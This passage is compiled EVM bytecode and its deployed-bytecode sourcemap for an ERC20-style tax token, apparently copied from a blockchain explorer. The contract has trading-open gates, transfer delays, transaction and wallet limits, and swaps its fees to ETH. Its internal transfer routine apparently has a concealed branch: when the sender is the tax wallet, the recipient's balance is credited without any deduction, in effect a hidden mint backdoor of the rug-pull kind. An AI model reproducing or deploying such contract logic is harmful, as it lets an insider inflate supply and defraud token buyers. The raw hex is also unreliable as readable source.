48201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a9b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610bc25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b6001600160a01b038316600090815260046020526040812054819060ff16158015610c6857506001600160a01b03841660009081526004602052604090205460ff16155b1561100157610c996064610c93600b54600e5411610c8857600754610c8c565b6009545b86906110c9565b90611152565b601454909250600160b01b900460ff168015610cb6575060115483115b8015610cc55750600d54600e54115b601454909150600160a01b900460ff16610d1a5760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161047a565b60065460ff1615610dff576013546001600160a01b03858116911614801590610d5157506014546001600160a01b03858116911614155b15610dff57326000908152600560205260409020544311610dec5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610e2a57506013546001600160a01b03858116911614155b8015610e4f57506001600160a01b03841660009081526004602052604090205460ff16155b15610f3757600f54831115610ea65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b60105483610ec9866001600160a01b031660009081526001602052604090205490565b610ed39190611878565b1115610f215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600e8054906000610f318361188b565b91905055505b6014546001600160a01b038581169116148015610f5d57506001600160a01b0385163014155b15610f8a57610f876064610c93600c54600e5411610f7d57600854610c8c565b600a5486906110c9565b91505b30600090815260016020526040902054601454600160a81b900460ff16158015610fc157506014546001600160a01b038681169116145b8015610fca5750815b15610fff57601154811115610ff657610ff6610ff185610fec84601254611194565b611194565b6111a9565b610fff47611323565b505b811561107b57306000908152600160205260409020546110219083611365565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110729086815260200190565b60405180910390a35b611087858585856113c4565b505050505050565b600081848411156110b35760405162461bcd60e51b815260040161047a9190611590565b5060006110c084866118a4565b95945050505050565b6000826000036110db575060006103c0565b60006110e783856117bf565b9050826110f485836118b7565b1461114b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b9392505050565b600061114b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611520565b60008183116111a3578261114b565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f1576111f16118d9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e919061180b565b81600181518110611281576112816118d9565b6001600160a01b0392831660209182029290920101526013546112a791309116846109d8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e09085906000908690309042906004016118ef565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611361573d6000803e3d6000fd5b5050565b6000806113728385611878565b90508381101561114b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6006546000906001600160a01b0386811661010090920416146114d8576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03881660009081526001909152919091205461143391859061108f565b6001600160a01b038616600090815260016020526040902055611478611459848461154e565b6001600160a01b03861660009081526001602052604090205490611365565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c2868661154e565b60405190815260200160405180910390a3611515565b6001600160a01b0384166000908152600160205260409020546114fb9084611365565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115415760405162461bcd60e51b815260040161047a9190611590565b5060006110c084866118b7565b600061114b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108f565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d557600080fd5b6000806040838503121561160657600080fd5b8235611611816115de565b946020939093013593505050565b60008060006060848603121561163457600080fd5b833561163f816115de565b9250602084013561164f816115de565b929592945050506040919091013590565b60006020828403121561167257600080fd5b813561114b816115de565b6000806040838503121561169057600080fd5b823561169b816115de565b915060208301356116ab816115de565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117075781600019048211156116ed576116ed6116b6565b808516156116fa57918102915b93841c93908002906116d1565b509250929050565b60008261171e575060016103c0565b8161172b575060006103c0565b8160018114611741576002811461174b57611767565b60019150506103c0565b60ff84111561175c5761175c6116b6565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561178a575081810a6103c0565b61179483836116cc565b80600019048211156117a8576117a86116b6565b029392505050565b600061114b60ff84168361170f565b80820281158282048414176103c0576103c06116b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561181d57600080fd5b815161114b816115de565b60008060006060848603121561183d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561186857600080fd5b8151801515811461114b57600080fd5b808201808211156103c0576103c06116b6565b60006001820161189d5761189d6116b6565b5060010190565b818103818111156103c0576103c06116b6565b6000826118d457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193f5784516001600160a01b03168352938301939183019160010161191a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005abae642608a64c44f1a7ed30cafd64beec1c910635bc0310a3066a662ccb2e64736f6c63430008130033
Deployed Bytecode Sourcemap
3702:8406:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5686:83;;;;;;;;;;-1:-1:-1;5756:5:0;;;;;;;;;;;;-1:-1:-1;;;5756:5:0;;;;5686:83;;;;;;;:::i;:::-;;;;;;;;6519:161;;;;;;;;;;-1:-1:-1;6519:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6519:161:0;1023:187:1;4860:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4860:56:0;1215:177:1;4923:50:0;;;;;;;;;;;;;;;;5963:95;;;;;;;;;;;;;:::i;7688:313::-;;;;;;;;;;-1:-1:-1;7688:313:0;;;;;:::i;:::-;;:::i;5872:83::-;;;;;;;;;;-1:-1:-1;5872:83:0;;4550:2;2000:36:1;;1988:2;1973:18;5872:83:0;1858:184:1;7460:176:0;;;;;;;;;;;;;:::i;:::-;;6066:119;;;;;;;;;;-1:-1:-1;6066:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6159:18:0;6132:7;6159:18;;;:9;:18;;;;;;;6066:119;2783:148;;;;;;;;;;;;;:::i;4738:53::-;;;;;;;;;;;;;;;;2569:79;;;;;;;;;;-1:-1:-1;2607:7:0;2634:6;2569:79;;-1:-1:-1;;;;;2634:6:0;;;2445:51:1;;2433:2;2418:18;2569:79:0;2299:203:1;4798:55:0;;;;;;;;;;;;;;;;5777:87;;;;;;;;;;-1:-1:-1;5849:7:0;;;;;;;;;;;;-1:-1:-1;;;5849:7:0;;;;5777:87;;11903:202;;;;;;;;;;;;;:::i;6193:167::-;;;;;;;;;;-1:-1:-1;6193:167:0;;;;;:::i;:::-;;:::i;6793:659::-;;;;;;;;;;;;;:::i;4103:40::-;;;;;;;;;;-1:-1:-1;4103:40:0;;;;;;;;6368:143;;;;;;;;;;-1:-1:-1;6368:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6476:18:0;;;6449:7;6476:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6368:143;6519:161;6594:4;6611:39;404:10;6634:7;6643:6;6611:8;:39::i;:::-;-1:-1:-1;6668:4:0;6519:161;;;;;:::o;5963:95::-;6016:7;4608:13;4550:2;4608;:13;:::i;:::-;4594:27;;:11;:27;:::i;:::-;6036:14;;5963:95;:::o;7688:313::-;7786:4;7803:36;7813:6;7821:9;7832:6;7803:9;:36::i;:::-;7850:121;7859:6;404:10;7881:89;7919:6;7881:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7881:19:0;;;;;;:11;:19;;;;;;;;404:10;7881:33;;;;;;;;;;:37;:89::i;:::-;7850:8;:121::i;:::-;-1:-1:-1;7989:4:0;7688:313;;;;;:::o;7460:176::-;2696:6;;-1:-1:-1;;;;;2696:6:0;404:10;2696:22;2688:67;;;;-1:-1:-1;;;2688:67:0;;;;;;;:::i;:::-;;;;;;;;;7532:11:::1;::::0;-1:-1:-1;;;7532:11:0;::::1;;;7531:12;7523:47;;;::::0;-1:-1:-1;;;7523:47:0;;5151:2:1;7523:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;7523:47:0::1;4949:347:1::0;7523:47:0::1;7581:11;:18:::0;;-1:-1:-1;;;;7610:18:0;-1:-1:-1;;;7610:18:0;;;7460:176::o;2783:148::-;2696:6;;-1:-1:-1;;;;;2696:6:0;404:10;2696:22;2688:67;;;;-1:-1:-1;;;2688:67:0;;;;;;;:::i;:::-;2890:1:::1;2874:6:::0;;2853:40:::1;::::0;-1:-1:-1;;;;;2874:6:0;;::::1;::::0;2853:40:::1;::::0;2890:1;;2853:40:::1;2921:1;2904:19:::0;;-1:-1:-1;;;;;;2904:19:0::1;::::0;;2783:148::o;11903:202::-;2696:6;;-1:-1:-1;;;;;2696:6:0;404:10;2696:22;2688:67;;;;-1:-1:-1;;;2688:67:0;;;;;;;:::i;:::-;4608:13:::1;4550:2;4608;:13;:::i;:::-;4594:27;::::0;:11:::1;:27;:::i;:::-;11962:12;:22:::0;4608:13:::1;4550:2;4608;:13;:::i;:::-;4594:27;::::0;:11:::1;:27;:::i;:::-;11995:14;:22:::0;12028:20:::1;:26:::0;;-1:-1:-1;;12028:26:0::1;::::0;;12070:27:::1;4608:13;4550:2;-1:-1:-1::0;4608:13:0::1;:::i;:::-;4594:27;::::0;:11:::1;:27;:::i;:::-;12070;::::0;1361:25:1;;;1349:2;1334:18;12070:27:0::1;;;;;;;11903:202::o:0;6193:167::-;6271:4;6288:42;404:10;6312:9;6323:6;6288:9;:42::i;6793:659::-;2696:6;;-1:-1:-1;;;;;2696:6:0;404:10;2696:22;2688:67;;;;-1:-1:-1;;;2688:67:0;;;;;;;:::i;:::-;6865:11:::1;::::0;-1:-1:-1;;;6865:11:0;::::1;;;6864:12;6856:47;;;::::0;-1:-1:-1;;;6856:47:0;;5503:2:1;6856:47:0::1;::::0;::::1;5485:21:1::0;5542:2;5522:18;;;5515:30;5581:25;5561:18;;;5554:53;5624:18;;6856:47:0::1;5301:347:1::0;6856:47:0::1;6950:15;:80:::0;;-1:-1:-1;;;;;;6950:80:0::1;6987:42;6950:80:::0;;::::1;::::0;;;7043:58:::1;::::0;7060:4:::1;::::0;4608:13:::1;4550:2;4608;:13;:::i;:::-;4594:27;::::0;:11:::1;:27;:::i;7043:58::-;7146:15;;;;;;;;;-1:-1:-1::0;;;;;7146:15:0::1;-1:-1:-1::0;;;;;7146:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7128:55:0::1;;7192:4;7199:15;;;;;;;;;-1:-1:-1::0;;;;;7199:15:0::1;-1:-1:-1::0;;;;;7199:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7128:94;::::0;-1:-1:-1;;;;;;7128:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6139:15:1;;;7128:94:0::1;::::0;::::1;6121:34:1::0;6191:15;;6171:18;;;6164:43;6056:18;;7128:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7112:13;:110:::0;;-1:-1:-1;;;;;7112:110:0;;::::1;-1:-1:-1::0;;;;;;7112:110:0;;::::1;;::::0;;7233:15:::1;::::0;::::1;:31;7272:21;7303:4;7309:24;7303:4:::0;-1:-1:-1;;;;;6159:18:0;6132:7;6159:18;;;:9;:18;;;;;;;6066:119;7309:24:::1;7334:1;7336::::0;7338:7:::1;2607::::0;2634:6;-1:-1:-1;;;;;2634:6:0;;2569:79;7338:7:::1;7233:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7233:129:0;;;-1:-1:-1;;;;;6577:15:1;;;7233:129:0::1;::::0;::::1;6559:34:1::0;6609:18;;;6602:34;;;;6652:18;;;6645:34;;;;6695:18;;;6688:34;6759:15;;;6738:19;;;6731:44;7346:15:0::1;6791:19:1::0;;;6784:35;6493:19;;7233:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7380:13:0::1;::::0;7411:15:::1;::::0;7373:71:::1;::::0;-1:-1:-1;;;7373:71:0;;-1:-1:-1;;;;;7411:15:0;;::::1;7373:71;::::0;::::1;7315:51:1::0;-1:-1:-1;;7382:18:1;;;7375:34;7380:13:0;::::1;::::0;-1:-1:-1;7373:29:0::1;::::0;7288:18:1;;7373:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6793:659::o:0;8009:335::-;-1:-1:-1;;;;;8102:19:0;;8094:68;;;;-1:-1:-1;;;8094:68:0;;7904:2:1;8094:68:0;;;7886:21:1;7943:2;7923:18;;;7916:30;7982:34;7962:18;;;7955:62;-1:-1:-1;;;8033:18:1;;;8026:34;8077:19;;8094:68:0;7702:400:1;8094:68:0;-1:-1:-1;;;;;8181:21:0;;8173:68;;;;-1:-1:-1;;;8173:68:0;;8309:2:1;8173:68:0;;;8291:21:1;8348:2;8328:18;;;8321:30;8387:34;8367:18;;;8360:62;-1:-1:-1;;;8438:18:1;;;8431:32;8480:19;;8173:68:0;8107:398:1;8173:68:0;-1:-1:-1;;;;;8252:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8304:32;;1361:25:1;;;8304:32:0;;1334:18:1;8304:32:0;;;;;;;8009:335;;;:::o;8352:2354::-;-1:-1:-1;;;;;8440:18:0;;8432:68;;;;-1:-1:-1;;;8432:68:0;;8712:2:1;8432:68:0;;;8694:21:1;8751:2;8731:18;;;8724:30;8790:34;8770:18;;;8763:62;-1:-1:-1;;;8841:18:1;;;8834:35;8886:19;;8432:68:0;8510:401:1;8432:68:0;-1:-1:-1;;;;;8519:16:0;;8511:64;;;;-1:-1:-1;;;8511:64:0;;9118:2:1;8511:64:0;;;9100:21:1;9157:2;9137:18;;;9130:30;9196:34;9176:18;;;9169:62;-1:-1:-1;;;9247:18:1;;;9240:33;9290:19;;8511:64:0;8916:399:1;8511:64:0;8603:1;8594:6;:10;8586:64;;;;-1:-1:-1;;;8586:64:0;;9522:2:1;8586:64:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:39;9700:19;;8586:64:0;9320:405:1;8586:64:0;-1:-1:-1;;;;;8743:24:0;;8663:17;8743:24;;;:18;:24;;;;;;8663:17;;8743:24;;8742:25;:52;;;;-1:-1:-1;;;;;;8772:22:0;;;;;;:18;:22;;;;;;;;8771:23;8742:52;8738:1731;;;8835:76;8907:3;8835:67;8857:15;;8847:9;;:25;8846:55;;8887:14;;8846:55;;;8874:12;;8846:55;8835:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8948:11;;8823:88;;-1:-1:-1;;;;8948:11:0;;;;:43;;;;;8972:19;;8963:6;:28;8948:43;:75;;;;;9005:18;;8995:9;;:28;8948:75;9048:11;;8926:97;;-1:-1:-1;;;;9048:11:0;;;;9040:46;;;;-1:-1:-1;;;9040:46:0;;9932:2:1;9040:46:0;;;9914:21:1;9971:2;9951:18;;;9944:30;-1:-1:-1;;;9990:18:1;;;9983:52;10052:18;;9040:46:0;9730:346:1;9040:46:0;9107:20;;;;9103:490;;;9166:15;;-1:-1:-1;;;;;9152:30:0;;;9166:15;;9152:30;;;;:62;;-1:-1:-1;9200:13:0;;-1:-1:-1;;;;;9186:28:0;;;9200:13;;9186:28;;9152:62;9148:430;;;9302:9;9273:39;;;;:28;:39;;;;;;9344:12;-1:-1:-1;9239:242:0;;;;-1:-1:-1;;;9239:242:0;;10283:2:1;9239:242:0;;;10265:21:1;10322:2;10302:18;;;10295:30;10361:34;10341:18;;;10334:62;10432:34;10412:18;;;10405:62;-1:-1:-1;;;10483:19:1;;;10476:40;10533:19;;9239:242:0;10081:477:1;9239:242:0;9533:9;9504:39;;;;:28;:39;;;;;9546:12;9504:54;;9148:430;9621:13;;-1:-1:-1;;;;;9613:21:0;;;9621:13;;9613:21;:55;;;;-1:-1:-1;9652:15:0;;-1:-1:-1;;;;;9638:30:0;;;9652:15;;9638:30;;9613:55;:83;;;;-1:-1:-1;;;;;;9674:22:0;;;;;;:18;:22;;;;;;;;9672:24;9613:83;9609:313;;;9736:12;;9726:6;:22;;9718:60;;;;-1:-1:-1;;;9718:60:0;;10765:2:1;9718:60:0;;;10747:21:1;10804:2;10784:18;;;10777:30;10843:27;10823:18;;;10816:55;10888:18;;9718:60:0;10563:349:1;9718:60:0;9831:14;;9821:6;9805:13;9815:2;-1:-1:-1;;;;;6159:18:0;6132:7;6159:18;;;:9;:18;;;;;;;6066:119;9805:13;:22;;;;:::i;:::-;:40;;9797:79;;;;-1:-1:-1;;;9797:79:0;;11249:2:1;9797:79:0;;;11231:21:1;11288:2;11268:18;;;11261:30;11327:28;11307:18;;;11300:56;11373:18;;9797:79:0;11047:350:1;9797:79:0;9895:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9609:313;9947:13;;-1:-1:-1;;;;;9941:19:0;;;9947:13;;9941:19;:43;;;;-1:-1:-1;;;;;;9964:20:0;;9979:4;9964:20;;9941:43;9938:174;;;10017:79;10092:3;10017:70;10039:16;;10029:9;;:26;10028:58;;10071:15;;10028:58;;;10057:13;;10017:6;;:10;:70::i;:79::-;10005:91;;9938:174;10177:4;10128:28;6159:18;;;:9;:18;;;;;;10203:6;;-1:-1:-1;;;10203:6:0;;;;10202:7;:30;;;;-1:-1:-1;10219:13:0;;-1:-1:-1;;;;;10213:19:0;;;10219:13;;10213:19;10202:30;:53;;;;;10236:19;10202:53;10198:260;;;10300:19;;10279:20;:40;10276:112;;;10321:67;10338:49;10342:6;10349:37;10353:20;10374:11;;10349:3;:37::i;:::-;10338:3;:49::i;:::-;10321:16;:67::i;:::-;10407:35;10420:21;10407:12;:35::i;:::-;8796:1673;8738:1731;10484:11;;10481:161;;10552:4;10534:24;;;;:9;:24;;;;;;:39;;10563:9;10534:28;:39::i;:::-;10527:4;10509:24;;;;:9;:24;;;;;;;:64;;;;10591:39;;-1:-1:-1;;;;;10591:39:0;;;;;;;10620:9;1361:25:1;;1349:2;1334:18;;1215:177;10591:39:0;;;;;;;;10481:161;10654:44;10670:4;10676:2;10680:6;10688:9;10654:15;:44::i;:::-;;8421:2285;;8352:2354;;;:::o;1461:190::-;1547:7;1583:12;1575:6;;;;1567:29;;;;-1:-1:-1;;;1567:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1607:9:0;1619:5;1623:1;1619;:5;:::i;:::-;1607:17;1461:190;-1:-1:-1;;;;;1461:190:0:o;1659:246::-;1717:7;1741:1;1746;1741:6;1737:47;;-1:-1:-1;1771:1:0;1764:8;;1737:47;1794:9;1806:5;1810:1;1806;:5;:::i;:::-;1794:17;-1:-1:-1;1839:1:0;1830:5;1834:1;1794:17;1830:5;:::i;:::-;:10;1822:56;;;;-1:-1:-1;;;1822:56:0;;12099:2:1;1822:56:0;;;12081:21:1;12138:2;12118:18;;;12111:30;12177:34;12157:18;;;12150:62;-1:-1:-1;;;12228:18:1;;;12221:31;12269:19;;1822:56:0;11897:397:1;1822:56:0;1896:1;1659:246;-1:-1:-1;;;1659:246:0:o;1913:132::-;1971:7;1998:39;2002:1;2005;1998:39;;;;;;;;;;;;;;;;;:3;:39::i;11306:98::-;11363:7;11390:1;11388;:3;11387:9;;11395:1;11387:9;;;-1:-1:-1;11393:1:0;11306:98;-1:-1:-1;11306:98:0:o;11412:483::-;5255:6;:13;;-1:-1:-1;;;;5255:13:0;-1:-1:-1;;;5255:13:0;;;11514:16:::1;::::0;;11528:1:::1;11514:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11514:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11514:16:0::1;11490:40;;11559:4;11541;11546:1;11541:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11541:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11585:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11585:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11541:7;;11585:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11575:4;11580:1;11575:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11575:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11650:15:::1;::::0;11618:62:::1;::::0;11635:4:::1;::::0;11650:15:::1;11668:11:::0;11618:8:::1;:62::i;:::-;11691:15;::::0;:196:::1;::::0;-1:-1:-1;;;11691:196:0;;-1:-1:-1;;;;;11691:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11772:11;;11691:15:::1;::::0;11814:4;;11841::::1;::::0;11861:15:::1;::::0;11691:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5291:6:0;:14;;-1:-1:-1;;;;5291:14:0;;;-1:-1:-1;;;;11412:483:0:o;6688:97::-;6745:15;;:32;;:15;;;;-1:-1:-1;;;;;6745:15:0;;:32;;;;;;;;;;;;:15;:32;;;;;;;;;;;;;;;;;;;;;6688:97;:::o;1130:179::-;1188:7;;1220:5;1224:1;1220;:5;:::i;:::-;1208:17;;1249:1;1244;:6;;1236:46;;;;-1:-1:-1;;;1236:46:0;;13750:2:1;1236:46:0;;;13732:21:1;13789:2;13769:18;;;13762:30;13828:29;13808:18;;;13801:57;13875:18;;1236:46:0;13548:351:1;10714:584:0;10889:15;;10861:4;;-1:-1:-1;;;;;10881:23:0;;;10889:15;;;;;10881:23;10878:389;;10939:100;;;;;;;;;;;-1:-1:-1;;;10939:100:0;;;;;;;;-1:-1:-1;;;;;10939:15:0;;-1:-1:-1;10939:15:0;;;:9;:15;;;;;;;;:100;;10977:6;;10939:19;:100::i;:::-;-1:-1:-1;;;;;10921:15:0;;;;;;:9;:15;;;;;:118;11070:40;11088:21;:6;11099:9;11088:10;:21::i;:::-;-1:-1:-1;;;;;11070:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11056:13:0;;;;;;;:9;:13;;;;;:54;;;;11130:41;;;11149:21;:6;11160:9;11149:10;:21::i;:::-;11130:41;;1361:25:1;;;1349:2;1334:18;11130:41:0;;;;;;;10878:389;;;-1:-1:-1;;;;;11230:13:0;;;;;;:9;:13;;;;;;:25;;11248:6;11230:17;:25::i;:::-;-1:-1:-1;;;;;11216:13:0;;;;;;:9;:13;;;;;:39;10878:389;-1:-1:-1;11286:4:0;10714:584;;;;;;:::o;2053:189::-;2139:7;2174:12;2167:5;2159:28;;;;-1:-1:-1;;;2159:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2198:9:0;2210:5;2214:1;2210;:5;:::i;1317:136::-;1375:7;1402:43;1406:1;1409;1402:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5653:251::-;5723:6;5776:2;5764:9;5755:7;5751:23;5747:32;5744:52;;;5792:1;5789;5782:12;5744:52;5824:9;5818:16;5843:31;5868:5;5843:31;:::i;6830:306::-;6918:6;6926;6934;6987:2;6975:9;6966:7;6962:23;6958:32;6955:52;;;7003:1;7000;6993:12;6955:52;7032:9;7026:16;7016:26;;7082:2;7071:9;7067:18;7061:25;7051:35;;7126:2;7115:9;7111:18;7105:25;7095:35;;6830:306;;;;;:::o;7420:277::-;7487:6;7540:2;7528:9;7519:7;7515:23;7511:32;7508:52;;;7556:1;7553;7546:12;7508:52;7588:9;7582:16;7641:5;7634:13;7627:21;7620:5;7617:32;7607:60;;7663:1;7660;7653:12;10917:125;10982:9;;;11003:10;;;11000:36;;;11016:18;;:::i;11402:135::-;11441:3;11462:17;;;11459:43;;11482:18;;:::i;:::-;-1: